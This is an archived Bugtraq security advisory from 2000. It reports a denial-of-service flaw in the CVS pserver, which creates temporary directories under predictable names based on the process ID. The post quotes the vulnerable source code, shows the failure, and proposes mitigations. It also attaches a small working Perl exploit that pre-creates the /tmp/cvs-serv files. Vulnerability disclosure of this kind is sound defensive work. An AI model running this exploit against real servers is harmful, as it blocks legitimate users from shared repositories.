[LWN Logo]

Date:         Sun, 23 Apr 2000 17:40:38 +0200
From: Michal Szymanski <siva9@CLICO.PL>
Subject:      CVS DoS
To: BUGTRAQ@SECURITYFOCUS.COM

--MGYHOYXEY6WxJCY8
Content-Type: text/plain; charset=us-ascii

Hi,

I've just found annoying bug in cvs-1.10.7 (probably others too). Let's assume
you've decided to make your remote cvs repository available to several trusted
people. Therefore you need to edit your /etc/inetd.conf file and add line
similar to presented below:

cvspserver  stream  tcp  nowait  root  /usr/bin/cvs cvs
--allow-root==/usr/cvsroot pserver

This line comes directly from cvs info. In this case we are using a password
protocol (but it isn't relevant). After other administrative tasks chosen
users can use your remote repository. So far everything is fine. But what will
happen if malicious user - called siva9 - owns a shell account in your system?
He can do a lot of evil. For example, he can get cvs server confused. How?
First of all you need to know that cvs server creates locking directories in
/tmp. It is required for normal working. There is nothing weird in such
behaviour, so long as it has been properly done. Unfortunately method of
generating new file names is very simple and weak. Every file name is easily
predictable and consists of two parts: /tmp/cvs-serv string and PID of the
current working cvs server:

-------------

src/main.c:main():

(....)

Tmpdir="/tmp"

(....)

--------------

src/server.c:server()

(....)

server_temp_dir = malloc (strlen (Tmpdir) + 80);

(....)

strcpy (server_temp_dir, Tmpdir);

/* Remove a trailing slash from TMPDIR if present.  */
p = server_temp_dir + strlen (server_temp_dir) - 1;
if (*p == '/')
	*p = '\0';

/*
 * I wanted to use cvs-serv/PID, but then you have to worry about
 * the permissions on the cvs-serv directory being right.  So
 * use cvs-servPID. <-- here start our problems
 */
strcat (server_temp_dir, "/cvs-serv");

p = server_temp_dir + strlen (server_temp_dir);
sprintf (p, "%ld", (long) getpid ());

(....)

status = mkdir_p (server_temp_dir);

(....)

server() function is executed after AUTH REQUEST, so all root privileges are
dropped and it can't create temporary directory which is already owned by
another user. So, if we are capable of predicting next file name we can cause
effective DoS for one or even all sessions, no matter we have access to
repository, or not. On heavily loaded server it is hard to predict next PID
value and in this way we can stop only one cvs session from normal working.
Therefore attached cvs-dos.pl script creates a lot of filenames with PID value
in range from 400 to 4000 (adjust these values). If there is no "inodes in use"
limitation, it will succeed and cvs server will not work properly:

[siva9@cvs ~]$ id
uid=17539(siva9) gid=150(lusers) groups=150(lusers),80(network),250(cvs)
[siva9@cvs ~]$ ./cvs-dos.pl

.......

[MySZ@localhost ~]$ CVSROOT=:pserver:MySZ@cvs:/usr/cvsroot
[MySZ@localhost ~]$ export CVSROOT
[MySZ@localhost ~]$ cvs login
(Logging in to MySZ@cvs)
CVS password:
[MySZ@localhost ~]$ cvs co .
cannot change permissions on temporary directory
Operation not permitted
[MySZ@localhost ~]$

From now on cvs users won't be able to access repository. How to solve this
problem? There is a cvs server option which allow us to use another temporary
directory. Just create /usr/cvsroot/cvstmp directory and append following
string to your cvspserver line: "-T /usr/cvsroot/cvstmp"
Then you can change cvstmp's group ownership to cvs and add trusted users to
it. Unfortunately it's not really correct solution, cause cvs users still can
stop server from working. I recommend to use in server.c file mktemp(3)
function or any other method which generate unique filenames. Partial solution
is also to use quotas on a partition where /tmp/ directory resides.

Simple exploit is attached.

Regards,

Michal Szymanski [michal_szymanski@linux.com.pl];


--MGYHOYXEY6WxJCY8
Content-Type: application/x-perl
Content-Description: cvs-dos.pl
Content-Disposition: attachment; filename="cvs-dos.pl"

#!/usr/bin/perl

$min=400;
$max=4000;

for ($x=$min;$x<=$max;$x++) {
		open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
		chmod 0600, "/tmp/cvs-serv$x";
		close CVSTMP;
}


--MGYHOYXEY6WxJCY8--